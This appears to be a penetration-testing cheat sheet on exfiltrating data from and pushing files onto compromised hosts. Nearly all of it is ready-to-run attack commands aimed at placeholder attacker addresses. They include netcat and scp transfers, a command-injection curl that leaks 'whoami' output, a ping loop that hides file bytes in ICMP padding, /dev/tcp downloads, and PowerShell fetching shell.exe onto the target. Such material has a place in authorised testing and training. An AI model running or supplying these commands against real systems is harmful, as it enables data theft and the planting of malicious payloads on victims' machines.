---
description: >-
  Personal discoveries added but majorly derived from:
  https://raw.githubusercontent.com/RackunSec/Penetration-Testing-Grimoire/master/Post%20Exploitation/data-exfiltration-infiltration.md
---

# Data Exfiltration Post Exploitation

## Using netcat

On the receiving end running,

```
nc -l -p 1234 > out.file
```

will begin listening on port 1234.

On the sending end running,

```
nc -w 3 [destination] 1234 < out.file
```

will connect to the receiver and begin sending file.

## Python HTTP Server

```
python3 -m http.server 5432
```

If Python (2.x) is installed on the target system, you can simply start the [SimpleHTTPServer](https://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/) using the following command in whatever directory that you wish to share temporarily.

```
www-data@target-system:/etc# python -m SimpleHTTPServer 5432
```

And this will instantly share the files on the target system in `/etc` (as you see that is where I started the service) via HTTP on port `5432` You can then use `wget` recursivley to pull all files found like so, from the attacker machine,

```
root@attacker-system:~/ctf/target/# wget -r http://(TARGET IP ADDRESS):5432 
```

### SCP (SSH)

If SSH is installed on the target system, we can simply use `scp` to exfiltrate data from the target server onto our attacker machine. First, we need to ensure that SSH is running on the attacker machine to accept the connection and file from the target. Then, we can use the following syntax to transfer the file,

```
user@target-system:~$ scp -P (PORT OF SSH ON ATTACKER) (FILENAME) \
 (USER ON ATTACKER SYSTEM)@(ATACKER IP ADDRESS):/path/on/attacker/machine.extension
```

### HTTP Logs

If command injection is possible on the target server, but it's not possible to save files anywhere to create a shell (super-unprivileged user), we can use `curl` in combination with an interpolated command output to make an HTTP request to our local HTTP server on the attacker system as so,

```
ping 127.0.0.1;curl http://(ATTACKER IP ADDRESS)?username=$(whoami)
```

Then, in our local HTTP logs, we will see the output of `$(whoami)` as the `username` GET request parameter.

### Using Ping for Data Exfiltration

To use Ping, we will use the `-c` arguemnt and specify 16 bytes to pad the ICMP request. First, we will break the file up into 16 byte chunks using `xxd` like so,

```
user@target-machine:~$ echo "Hello World. We will be exfiltrating this data." > file.out
user@target-machine:~$ xxd -p -c 16 file.out
48656c6c6f20576f726c642e20576520
77696c6c20626520657866696c747261
74696e67207468697320646174612e0a
```

Then, we start Wireshark on the attacker machine and listen for ICMP, using the `icmp` LibPCAP filter. Now, we simply use these 16 byte chunks and pad the ICMP requests to the attacker machine. We can script this like so,

```
user@target-machine:~$ for bytes in $(xxd -p -c 16 file.out); ping -c 1 -p $bytes (ATTACKER IP ADDRESS); done
```

In Wireshark, the hexadecimal bytes will be translated into ASCII. This can be cleaned up by using `tcpdump` on the attacker-machine and parse the ASCII/string output.

## Data Infiltration

### FTP

You can use FTP for data infiltration on any OS system if you happen to find it installed on a target machine. Check out [/Post Exploitation/ftp.md](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Post%20Exploitation/ftp.md) for more information on how to infiltrate data and binaries to a target system using FTP.

### /dev/tcp/

This new system allows us to interact with TCP. First, we simply start a listener on our attacker machine and feed it a file as so,

```
root@attacker-machine:~# nc -lvvp 666 < host-discov.sh 
```

Then, we simply cat the `/dev/tcp/` file descriptor for our attacker socket (ip:port) and redirect the output directly into a file or `tee` as so,

```
root@nodered:/tmp# cat < /dev/tcp/(ATTACKER IP ADDRESS)/666 > host-discov.sh
```

Notice the format, `/dev/tcp/` then the attacker IP address, and port separated by forward slashes as though it were a simple file.

### Powershell.exe

If we have compromised a system and are in a reverse Powershell, we can infiltrate data to the system using the following Powershell commmands,

```
PS> Invoke-WebRequest -Uri http://(ATTACKER IP):(PORT)/shell.exe -OutFile C:\Users\(TARGET USER)\Desktop\shell.exe
```

PS 3.0+ has `wget` and can be called like so,

```
PS> wget http://(TARGET IP ADDRESS)/shell.exe -OutFile shell.exe
```
